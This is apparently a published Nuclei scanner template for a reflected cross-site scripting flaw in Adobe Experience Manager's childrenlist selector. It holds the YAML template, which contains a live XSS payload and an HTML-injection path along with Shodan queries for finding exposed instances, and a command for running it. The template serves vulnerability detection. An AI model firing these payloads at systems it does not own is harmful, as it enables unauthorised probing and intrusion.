Adobe Experience Manager Childlist Selector - Cross-Site Scripting

ID: aem-xss-childlist

Severity: medium

Author: theabhinavgaur

Tags: xss,aem,adobe,misconfig

Description

Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the childlist selector when a dispatcher does not respect the content type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.

YAML Source

id: aem-xss-childlist

info:
  name: Adobe Experience Manager Childlist Selector - Cross-Site Scripting
  author: theabhinavgaur
  severity: medium
  description: |
    Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the childlist selector when a dispatcher does not respect the content type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
    product: experience_manager
    vendor: adobe
  tags: xss,aem,adobe,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{rand_base(4)}}<img src=x data'a'onerror=alert(domain)>.childrenlist.html"
      - "{{BaseURL}}/{{rand_base(4)}}<br><br>please%20authenticate<br><br>.childrenlist.html"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src="x" data onerror="alert(domain)"/>'
          - '<br /><br />please authenticate<br /><br />'
        condition: or

      - type: word
        part: body
        words:
          - 'data-coral-columnview-id'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c1545a2e7b9daca65a50c93484fd1e61b289e9114e208f36edb1617125466016022100a7af16e42ce8740fbfbcabf0825a13c58ec42491bf828de93874811d9380ab49:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/aem/aem-childrenlist-xss.yaml"

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